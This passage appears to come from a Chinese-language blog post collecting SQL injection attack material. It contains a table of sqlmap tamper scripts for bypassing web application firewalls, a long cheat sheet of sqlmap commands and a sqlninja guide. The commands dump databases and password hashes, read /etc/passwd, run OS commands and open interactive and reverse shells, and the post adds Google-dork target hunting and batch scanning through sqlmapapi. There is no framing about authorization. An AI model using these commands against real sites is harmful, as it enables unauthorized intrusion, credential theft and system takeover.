| 7 | space2mysqlblank.py | 空格替換其它空白符號(mysql) | Input:?SELECT?id?FROM?users | |
| 8 | between.py | 用between替換大于號(>) | ('1?AND?A?>?B--') | |
| 9 | modsecurityzeroversioned.py | 包含了完整的查詢與零版本注釋 | ('1?AND?2>1--') | |
| 10 | space2mysqldash.py | 替換空格字符(”)(’?–?‘)后跟一個破折號注釋一個新行(’?n’) | ('1?AND?9227=9227') | |
| 11 | bluecoat.py | 代替空格字符后與一個有效的隨機空白字符的SQL語句。 | ('SELECT?id?FROM?users?where?id?=?1') | |
| 12 | percentage.py | asp允許每個字符前面添加一個%號 | *?Input:?SELECT?FIELD?FROM?TABLE | |
| 13 | charencode.py | url編碼 | *?Input:?SELECT?FIELD?FROM%20TABLE | |
| 14 | randomcase.py | 隨機大小寫 | *?Input:?INSERT | |
| 15 | versionedkeywords.py | Encloses?each?non-function?keyword?with?versioned?MySQL?comment | *?Input:?1?UNION?ALL?SELECT?NULL,?NULL,?CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()?AS?CHAR),CHAR(32)),CHAR(58,100,114,117,58))# | |
| 16 | space2comment.py | Replaces?space?character?(‘?‘)?with?comments?‘/**/’ | *?Input:?SELECT?id?FROM?users | |
| 17 | charunicodeencode.py | 字符串?unicode?編碼 | *?Input:?SELECT?FIELD%20FROM?TABLE | |
| 18 | versionedmorekeywords.py | 注釋繞過 | *?Input:?1?UNION?ALL?SELECT?NULL,?NULL,?CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER()?AS?CHAR),CHAR(32)),CHAR(58,115,114,121,58))# | |
| MySQL?<?5.1 | 19 | halfversionedmorekeywords.py | 關鍵字前加注釋 | *?Input:?value’?UNION?ALL?SELECT?CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER()?AS?CHAR),CHAR(32)),CHAR(58,97,110,121,58)),?NULL,?NULL#?AND?‘QDWa’='QDWa |
| 20 | halfversionedmorekeywords.py | 當數據庫為mysql時繞過防火墻,每個關鍵字之前添加 | 1.("value'?UNION?ALL?SELECT?CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER()?AS?CHAR),CHAR(32)),CHAR(58,97,110,121,58)),?NULL,?NULL#?AND?'QDWa'='QDWa") | |
| MySQL?>=?5.1.13 | 21 | space2morehash.py | 空格替換為?#號?以及更多隨機字符串?換行符 | *?Input:?1?AND?9227=9227 |
| ?Oracle | 1 | greatest.py | 繞過過濾’>’?,用GREATEST替換大于號。 | ('1?AND?A?>?B') |
| 2 | apostrophenullencode.py | 繞過過濾雙引號,替換字符和雙引號。 | tamper("1?AND?'1'='1") | |
| 3 | between.py | 用between替換大于號(>) | ('1?AND?A?>?B--') | |
| 4 | charencode.py | url編碼 | *?Input:?SELECT?FIELD?FROM%20TABLE | |
| 5 | randomcase.py | 隨機大小寫 | *?Input:?INSERT | |
| 6 | charunicodeencode.py | 字符串?unicode?編碼 | *?Input:?SELECT?FIELD%20FROM?TABLE | |
| 7 | space2comment.py | Replaces?space?character?(‘?‘)?with?comments?‘/**/’ | *?Input:?SELECT?id?FROM?users | |
| ?PostgreSQL | 1 | greatest.py | 繞過過濾’>’?,用GREATEST替換大于號。 | ('1?AND?A?>?B') |
| 2 | apostrophenullencode.py | 繞過過濾雙引號,替換字符和雙引號。 | tamper("1?AND?'1'='1") | |
| 3 | between.py | 用between替換大于號(>) | ('1?AND?A?>?B--') | |
| 4 | percentage.py | asp允許每個字符前面添加一個%號 | *?Input:?SELECT?FIELD?FROM?TABLE | |
| 5 | charencode.py | url編碼 | *?Input:?SELECT?FIELD?FROM%20TABLE | |
| 6 | randomcase.py | 隨機大小寫 | *?Input:?INSERT | |
| 7 | charunicodeencode.py | 字符串?unicode?編碼 | *?Input:?SELECT?FIELD%20FROM?TABLE | |
| 8 | space2comment.py | Replaces?space?character?(‘?‘)?with?comments?‘/**/’ | *?Input:?SELECT?id?FROM?users | |
| Access | 1 | appendnullbyte.py | 在有效負荷結束位置加載零字節字符編碼 | ('1?AND?1=1') |
| 其他 | ? | chardoubleencode.py | 雙url編碼(不處理以編碼的) | *?Input:?SELECT?FIELD?FROM%20TABLE |
| ? | unmagicquotes.py | 寬字符繞過?GPC??addslashes | *?Input:?1′?AND?1=1 | |
| ? | randomcomments.py | 用/**/分割sql關鍵字 | ‘INSERT’?becomes?‘IN//S//ERT’ |
??
10 .將注入語句插入到指定位置:
11.請求延時注入
sqlmap --dbs -u url --delay 1(時間(秒),可隨意) sqlmap --dbs -u url --safe-freq 1(請求次數,可隨意)
12 .使用谷歌語法搜索注入(Google hack):
sqlmap.py -g "inurl:asp?id=1" /* "" 內為搜索語法,如:inurl,intitle,site,filetype等等demon表哥:www.ggsec.cn(主要是metasploit技術) mat表哥:www.matsec.cn (偏實戰技術,和滲透思想)
單個注入
sqlmap -u "http://www.xxx.com/index.php" --cookie "id=1" --dbs --level 2 ?
sqlmap -u "http://www.xxx.com/index.php" --cookie "id=" --clumns -T 表段 –level 2 ?
sqlmap -u "http://www.xxx.com/index.php" --cookie "id=" --dump -T 表段 -C “user,pass” –level 2 ?
偽靜態注入
目標站點:http://www.xxxx.com/id/3-1.html ? ? ?sqlmap -u "www.xxxx.com/id/3*.html" --dbs?
2. 默認情況下SQLMAP只支持GET/POST參數的注入測試,
? ?但是當使用–level 參數且數值>=2的時候也會檢查cookie時面的參數,當>=3的時候將檢查User-agent和Referer,
? ?那么這就很簡單了,我 們直接在原有的基礎上面加上 --level 2 即可
? ?利用sqlmap cookies注入突破用戶登錄繼續注入
? ?先把用戶登陸的cookie拿到吧,
? ?在收藏夾添加一個鏈接cookies屬性:
? ?名字自己取
? ?javascript:alert(document.cookie),,需要獲取當前cookie的時候,
? ?直接點一下這個鏈接,然后復制一下彈出對話框
? ?里的cookie值就搞定了
? ?sqlmap.py -u http://x.x.x.x/Down.aspx?tid=2 -p tid –dbms mssql –cookie=”info=username=test”
? ?-p是指指定參數注入
4. sqlmap遇到url重寫的注入
? ?哪里存在注入就加上 * 號
? ?./sqlmap.py -u “http://www.cunlide.com/id1/1*/id2/2“
5.sqlmap 編碼繞waf注入
? ?./sqlmap.py -u http://127.0.0.1/test.php?id=1 -v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”
? ?在sqlmap 的 tamper目錄下有很多space2morehash.py 編碼腳本自行加載
其他基礎:
sqlmap -u “http://url/news?id=1” –level=3 –smart –dbms “Mysql” –current-user #獲取當前用戶名稱
sqlmap -u “http://www.xxoo.com/news?id=1” –level=3 –smart –dbms “Mysql” –current-db ?#獲取當前數據庫名稱
sqlmap -u “http://www.xxoo.com/news?id=1” –level=3 –smart –dbms “Mysql”–tables ?-D “db_name” #列表名
sqlmap -u “http://url/news?id=1” –level=3 –smart ?–dbms “Mysql” –columns -T “tablename” users-D “db_name” -v 0 #列字段
sqlmap -u “http://url/news?id=1” –level=3 –smart –dbms “Mysql” ?–dump ?-C “column_name” ?-T “table_name” -D “db_name” -v 0 ? #獲取字段內容
?
?
?
******************信息獲取******************
sqlmap -u “ –smart –dbms “MySQL” –users ? ? ? #列數據庫用戶 ?
sqlmap -u “ –smart –dbms “Mysql” –dbs ? ? ? ? #列數據庫 ?
sqlmap -u “ –smart –dbms “Mysql”–passwords ? ?#數據庫用戶密碼 ?
sqlmap -u “ –smart –dbms “Mysql”–passwords-U root ?-v 0 ? #列出指定用戶數據庫密碼 ?
sqlmap -u “ –smart –dbms “Mysql” –dump-all -v 0 ? ? ? ? ? #列出所有數據庫所有表 ??
sqlmap -u “ –smart –dbms “Mysql”–privileges ? ? ? ? ? ? ? #查看權限 ?
sqlmap -u “ –smart –dbms “Mysql”–privileges -U root ? ? ? #查看指定用戶權限 ?
sqlmap -u “ –smart –dbms “Mysql” –is-dba -v 1 ? ? ? ? ? ? #是否是數據庫管理員 ?
sqlmap -u “ –smart –dbms “Mysql” –roles ? ? ? ? ? ? ? ? ? #枚舉數據庫用戶角色 ?
sqlmap -u “ –smart –dbms “Mysql”–udf-inject ? ? ? ? ? ? ? #導入用戶自定義函數(獲取系統權限!) ?
sqlmap -u “ –smart –dbms “Mysql”–dump-all –exclude-sysdbs -v 0 ? ?#列出當前庫所有表 ?
sqlmap -u “ –smart –dbms “Mysql” –union-check ? ? ? ? ? ? #是否支持union 注入 ?
sqlmap -u “ –smart –dbms “Mysql”–union-cols ? ? ? ? ? ? ? #union 查詢表記錄 ?
sqlmap -u “ –smart –dbms “Mysql” –union-test ? ? ? ? ? ? ?#union 語句測試 ?
sqlmap -u “ –smart –dbms “Mysql” –union-use –banner ? ? ? #采用union 注入 ?
sqlmap -u “ –smart –dbms “Mysql”–union-test –union-tech orderby ? ? ? #union 配合 order by ?
sqlmap -u “ –smart –dbms “Mysql”–method “POST” — data “id=1&cat=2″ ? ?#post注入 ?
sqlmap -u “ –smart –dbms “Mysql”–cookie “COOKIE_VALUE” ? ? #cookie注入 ?
sqlmap -u “ –smart –dbms “Mysql”-b ? ? ? ? ? ? ? ? ? ? ? ? #獲取banner信息?
sqlmap -u “http://url/news?id=1” –level=3 –smart-v 1 -f ? ?#指紋判別數據庫類型
sqlmap -u “http://url/news?id=1” –level=3 –smart–proxy”http://127.0.0.1:8118” ? #代理注入
sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE“ ? ? #指定關鍵詞
sqlmap -u “ –smart –dbms “Mysql”–sql-shell ? ? ? ? ? ? ? ? ? ? ? #執行指定sql命令 ?
sqlmap -u “ –smart –dbms “Mysql”–file /etc/passwd ?
sqlmap -u “ –smart –dbms “Mysql”–os-cmd=whoami ? ? ? ? ? ? #執行系統命令 ?
sqlmap -u “ –smart –dbms “Mysql”–os-shell ? ? ? ? ? ? ? ? ?#系統交互shell ?
sqlmap -u “ –smart –dbms “Mysql”–os-pwn ? ? ? ? ? ? ? ? ? ?#反彈shell ?
sqlmap -u “ –smart –dbms “Mysql”–reg-read ? ? ? ? ? ? ? ? ?#讀取win系統注冊表 ?
sqlmap -u “ –smart –dbms “Mysql” –dbs-o “sqlmap.log” ? ? ? #保存進度 ?
sqlmap -u “ –smart –dbms “Mysql” –dbs ?-o “sqlmap.log” –resume ? ?#恢復已保存進度?
使用sqlmapapi.py批量化掃描實踐
0x00 前言
sqlmap可謂是sql注入探測的神器,優秀的探測功能可以讓任何一個使用者無基礎挖掘sql注入。wooyun上關于sqlmap的文章已經有6篇了,都沒有科 普sqlmapapi.py。因此我打算分享下這方面的實踐。利用sqlmap測試SQL注入的效率很低,每一個url都需要手動測試,這樣肯定不是理想狀態。 sqlmap的作者肯定也察覺到這一點了,默默的開發了sqlmapapi.py,當你使用了sqlmapapi.py后才能體會到sqlmap的強大。sqlmap構建了一個自動化 分布式的掃描帝國!這篇文章我主要從sqlmapapi.py的代碼角度和AutoSqli類的設計與實現的角度展開。
0x01 sqlmapapi.py綜述
sqlmapapi.py給使用者提供了一個強大的功能,服務功能。使用者可以利用sqlmapapi.py開啟服務端口,以后只要向sqlmapapi發送請求,就可以進行sql注入,然后發送查詢請求,就可以得到這個url是否是注入點,以及詳細的內容。同學們看到這里是不是有些小激動呢? sqlmapapi.py的help,我們需要用的是-s參數,也許你也有可能用到-p參數。
從sqlmapapi.py文件可以看出來,我們利用的文件的調用關系是
進入到lib/utils/api.py的server類,可以發現通過向server提交數據進行與服務的交互。 一共分為3種類型。
- Users' methods 用戶方法
- Admin function 管理函數
- sqlmap core interact functions 核心交互函數
可以提交數據的種類如下。
用戶方法
- @get("/task/new")
- @get("/task//delete")
管理函數
- @get("/admin//list")
- @get("/admin//flush")
核心交互函數
- @get("/option//list")
- @post("/option//get")
- @post("/option//set")
- @post("/scan//start")
- @get("/scan//stop")
- @get("/scan//kill")
- @get("/scan//status")
- @get("/scan//data")
- @get("/scan//log//")
- @get("/scan//log")
- @get("/download///")
不難發現這些操作可以完全滿足我們的測試需求,因此利用這些就可以批量了。當然每一種請求都會有不同的返回值,這些返回值是json的形式傳回, 解析就好了。其實這些我已經替大家做好了,調用AutoSqli類就可以了,但是還是要挑一些講下。
task/new 任務建立
GET /task/new Response: {"taskid": "1d47d7f046df1504" }/scan/<task_id>/status 掃描任務狀態 GET /scan/<task_id>/status Response: {"status": "terminated","returncode": 0 }詳細內容請各自查閱代碼。
0x02 AutoSqli類
我封裝AutoSqli類的作用是想輕松的與sqlmapapi.py建立的server進行交互。
AutoSqli的run方法的執行邏輯圖
這些步驟就是正常sqlmap掃描的邏輯,因此調用AutoSqli就可以正常執行。
Show code
具體代碼查看Mspider項目的Autosqli.py文件。
https://github.com/manning23/MSpider
0x03 使用心得
AutoSqli類的初始化可以添加url的data,cookie,referer。因此無需顧慮探測需要登陸的頁面。
對于AutoSqli類的使用,主要注意option_set()方法的使用,其數據結構為字典,由于可添加的內容超長,因此想添加自動的測試設置請參考Mspider項 目的set_option.txt文件。
說道使用場景,其實我自己已經玩了好久了,說實話效果沒達到我的預期,分析下原因。
現在網站的sql注入確實少了,燒餅類型的主要點更少。
sqlmap的初始探針不怎么樣,想要精準判斷還需要研究,個人研究發現對于mysql數據庫,使用時間類型探針效果最好,當然需要自己寫探針,詳 細的參考Mayikissyou牛的文章。順便吐槽下,Mayikissyou牛的文章,對于探針的改寫真是蜻蜓點水啊,我研究了好久才把lijiejie的那些方法加 上:)
有想法的同學肯定希望我把Mspider和AutoSqli結合下,可是我覺得方法我已經分享了,剩下的同學自己實踐吧。實踐才能有新的想法。
sqlmapapi.py就是sqlmap為了分布式掃描SQL注入做的,但是資料真的很少,實踐的結果更少,希望這篇分享就當拋磚引玉了,有問題歡迎隨時和我交流。還有,Mayikissyou牛的文章真心推薦大家讀下,配合我這篇文章,sql注入真是想怎么玩就怎么玩了。
0x04 資料
http://volatile-minds.blogspot.jp/2013/04/unofficial-sqlmap-restful-api.html
http://drops.wooyun.org/tips/5254
sqlninja 說明
sqlninja —— 檢測SQL注入&征服一個網站
sqlininja 使用Microsoft SQL Server作為一個后端數據庫挖掘web應用漏洞。它聚焦于獲取遠程主機上正在運行的shell。起初,Sqlninja并不尋找SQL注入,而是在一個SQL注入被發現之后自動進行漏洞利用。sqlninja是一款用perl寫的一個專門針對Microsoft SQL Server的sql注入工具。和市面上其他的注入工具不同,sqlninja沒有將精力用在跑數據庫上,而是側重于獲得一個shell。
首先來介紹一下sqlninja的優點。
一個專門針對Microsoft SQL Server的sql注入工具
可找到遠程SQL服務器的標志和特征(版本、用戶執行的查詢、用戶特權、xp_cmdshell的可用性、身份驗證模式等)
“sa”口令的強力攻擊
如果找到口令后,就將特權提升到“sa”
如果原始的xp_cmdshell被禁用后,就創建一個定制的xp_cmdshell。
使用純粹的ASCII GET/POST請求來上載netcat.exe程序(以及其它任何可執行的程序),因此并不需要FTP連接。
為了找到目標網絡的防火墻所允許的端口,可以實施針對目標SQL 服務器的TCP/UDP端口掃描。
逃避技術,這是為了使注入式代碼“模糊”不清,并且混淆/繞過基于簽名的IPS和應用層防火墻。
采用“盲目執行”攻擊模式,在其它模式失效時,可以用于發布命令并執行診斷。
在sqlninja生成的SQL代碼上,執行的是自動化的URL編碼,這使得用戶可以更精細地控制漏洞利用的字符串。
如果得到權限為sa,可以結合msf進一步對目標主機進行滲透。
sqlninja的一些常用命令
剛開是搞的時候,在網上搜了半天的資料也沒有找到怎么注入鏈接,參數里面沒有像 sqlmap那樣有 -u 參數,最后才知道是在配置目錄下的sqlninja.conf配置文件,打開配置文件后發現里面的選項特別多,這里只是簡單的進行注入,在配置文件中找到如下信息
這里有三種方式GET,POST,HEADER-BASED三個配置例子,根據你的注入點進行抓包判斷,修改里面對應的信息,如果你會發現每個注入鏈接會有個;__SQL2INJECT__。所以在配置的時候不要忘記了加上。
如果要使用其他的功能比如結合msf的話,請自行加上相應的配置,以上步驟配置完成后,就可以進行測試了。
用./sqlninja -m test命令檢測注入點是否可用。成功的話會顯示[+] Injection was successful! Let’s rock !! 那么就可以使用上面提到的命令。
使用./sqlninja -m metasploit命令可以和msf相結合起來,讓滲透更加方便,如果使用metasploit里面的shellcode,這個默認是沒有啟用的,需要修改sqlninja.conf中metasploit配置位置修改
# Path to metasploit executable. Only needed if msfpayload and
# msfcli are not already in the path
msfpath = /pentest/exploits/framework3/ #去掉前面的注釋符號,這里修改成你的framework3的安裝位置。
如果有寫的不對的地方,歡迎留言更正。
如果需要更詳細的了解可以去http://sqlninja.sourceforge.NET/sqlninja-howto.html 看看
黑帽與白帽都喜愛的十大SQL注入工具:http://www.aqniu.com/industry/1449.html
國內外 SQL 神器 :http://blog.csdn.net/heimian/article/details/7080822
總結
- 上一篇: Python 操作 pymysql 批量
- 下一篇: Swagger 注解~其他